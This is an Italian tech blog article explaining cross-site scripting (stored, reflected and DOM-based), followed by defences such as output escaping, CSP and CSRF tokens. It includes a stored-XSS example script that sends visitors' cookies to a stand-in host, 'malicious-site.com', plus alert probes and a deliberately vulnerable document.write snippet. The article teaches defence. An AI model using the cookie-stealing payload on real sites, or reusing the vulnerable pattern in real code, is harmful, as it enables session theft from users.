Attacchi XSS: Cosa sono, come funzionano, come proteggersi

22 Febbraio 2023

Attacchi XSS: Cosa sono, come funzionano e come proteggersi

Gli attacchi XSS (Cross-site scripting) sono tra le vulnerabilità più diffuse nelle applicazioni web. In questo articolo approfondiremo cos'è un attacco XSS, quali tipologie esistono, come funziona, e vedremo esempi pratici di codice per comprenderne meglio il funzionamento. Infine, illustreremo come proteggere il tuo sito web da queste minacce informatiche.

Cos'è un attacco XSS?

Il Cross-site scripting (XSS) è un attacco informatico in cui un malintenzionato inserisce codice malevolo, generalmente JavaScript, all’interno di una pagina web affidabile. Quando un utente visualizza questa pagina, il codice malevolo viene eseguito direttamente nel browser della vittima, consentendo all’attaccante di sottrarre informazioni sensibili, rubare sessioni o effettuare operazioni indesiderate.

Tipologie di attacchi XSS

Gli attacchi XSS si suddividono principalmente in tre categorie:

1. Stored XSS

Il codice malevolo viene memorizzato nel server e si esegue automaticamente quando la pagina infetta viene caricata.

Esempio di Stored XSS:

<!-- Un commento malevolo inserito in un forum -->
<script>
  document.location='http://malicious-site.com?cookie='+document.cookie;
</script>

Questo tipo è molto pericoloso perché può colpire tutti gli utenti che visualizzano la pagina compromessa.

2. Reflected XSS

Il codice malevolo è incluso direttamente nella richiesta HTTP (solitamente tramite link malevolo) e riflesso immediatamente nella risposta.

Esempio di Reflected XSS:

URL malevolo:

http://esempio.com/ricerca?q=<script>alert('XSS')</script>

Se il parametro q non viene correttamente sanificato, il codice JavaScript verrà eseguito nel browser dell'utente.

DOM-Based XSS

In questa variante, il codice malevolo viene eseguito direttamente sul client senza essere inviato al server. Accade quando JavaScript gestisce in modo improprio dati non sanificati.

Esempio di DOM-based XSS:

<script>
  var param = location.hash.substr(1);
  document.write("Benvenuto " + param);
</script>

URL malevolo:

http://esempio.com/#<script>alert('XSS')</script>

Come funziona un attacco XSS?

Gli attacchi XSS avvengono principalmente quando un'applicazione web non sanifica correttamente l'input fornito dagli utenti. Il codice malevolo sfrutta questa vulnerabilità per inserirsi nella pagina web ed essere eseguito nel browser delle vittime. In questo modo, l'attaccante può:

  • Sottrarre cookie e token di sessione;
  • Rubare informazioni personali o sensibili;
  • Eseguire azioni nel browser della vittima;
  • Manipolare i contenuti della pagina web.

Come proteggersi dagli attacchi XSS

Per prevenire attacchi XSS è necessario adottare alcune strategie chiave di sicurezza:

1. Sanificazione e validazione degli input

È fondamentale sanificare sempre i dati inseriti dagli utenti prima di visualizzarli sulla pagina web:

Esempio PHP:

// Sanificazione input
$commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8');
echo $commento_sicuro;

2. Content Security Policy (CSP)

Implementare una Content Security Policy aiuta a limitare le origini consentite per eseguire script e previene l’esecuzione di codice dannoso:

Esempio HTTP Header:

Content-Security-Policy: script-src 'self'; object-src 'none';

2. Output encoding sicuro

Assicurarsi che l'output dei dati utente sia correttamente codificato per evitare esecuzioni accidentali:

Esempio JavaScript:

// Codifica sicura
const nomeUtente = "<script>alert('XSS');</script>";
document.getElementById('user').textContent = nomeUtente;

3. Protezione CSRF e utilizzo di token

Implementare token anti-CSRF per proteggere le richieste e prevenire attacchi combinati XSS/CSRF:

Esempio token CSRF in PHP:

session_start();
$_SESSION['token'] = bin2hex(random_bytes(32));

4. Utilizzare un Web Application Firewall (WAF)

Un firewall delle applicazioni web può rilevare e bloccare attacchi XSS prima che raggiungano l'applicazione.

4. Mantenere aggiornate le applicazioni web

Aggiornare regolarmente il software e i framework aiuta a correggere vulnerabilità note e a proteggersi da attacchi informatici.

Educare gli utenti

Informare gli utenti sui rischi di cliccare su link sospetti o inserire dati sensibili su pagine web non affidabili può ridurre significativamente il rischio.

Conclusione

Gli attacchi XSS rappresentano una minaccia concreta e diffusa sul web. Tuttavia, adottando le best practice illustrate e strumenti adeguati è possibile proteggere efficacemente la tua applicazione e garantire la sicurezza dei tuoi utenti.


Altri articoli dal nostro Tech Blog

14 Aprile 2025
Startup tecnologiche più interessanti nel 2025, parola di Pizero!

I fatti di cronaca sembrano dipingere in ogni settore un trionfo dei business in qualche modo legati all'Intelligenza Artificiale. Non lasciamoci trascinare da facili entusiasmi: conviene basarsi sui dati per delineare le startup tecnologiche più interessanti del 2025. L'innovazione tecnologica è ormai una caratteristica costante, a ritmi che 20 anni fa sarebbero stati impensabili, e […]

10 Aprile 2025
RAG: cos'è, come implementarla e perché rivoluzionerà i tuoi progetti di AI

Le RAG (Retrieval-Augmented Generation) sono una delle tecnologie più innovative nell'ambito dell'intelligenza artificiale, che combinano la potenza della ricerca documentale (retrieval) con le capacità generative dei modelli linguistici più avanzati, come GPT-4. Questa combinazione permette di creare risposte altamente accurate, contestualizzate e aggiornate, rendendo i sistemi basati su AI significativamente più affidabili. In questo approfondimento […]

24 Marzo 2025
Cos'è una VPN e perchè potrebbe servirti (aggiornato al 2025)

Devi connetterti al tuo server aziendale? Aggirare un blocco dell’IP (ovviamente, per fini etici)? Oppure anche solo assicurarti che la connessione su cui stai navigando mantenga i tuoi dati al sicuro? Per ognuno di questi casi, e per molti altri, la VPN è la tecnologia di cui hai bisogno. Se ne hai sentito parlare e […]

22 Marzo 2025
Vibe Coding: da Copilot a Cursor, l'ascesa degli IDE assisiti dall'AI

Negli ultimi mesi, il modo in cui sviluppatori e programmatori si approcciano alla scrittura del codice è profondamente cambiato, introducendo il concetto di "Vibe Coding" grazie a strumenti di Intelligenza Artificiale che automatizzano e semplificano la scrittura e revisione del codice. Tra i principali IDE con l'assistenza dell'AI troviamo Visual Studio Code (VSCode) con Copilot […]

Richiedi un incontro

Compila il form per ottenere una consulenza personalizzata per il tuo progetto.

Compila i campi per essere ricontattato

© Pizero Design srl, tutti i diritti riservati - P.I. 02313970465 - REA LU-215417
X
lockuserscartcalendar-fullsmartphonelaptopbriefcase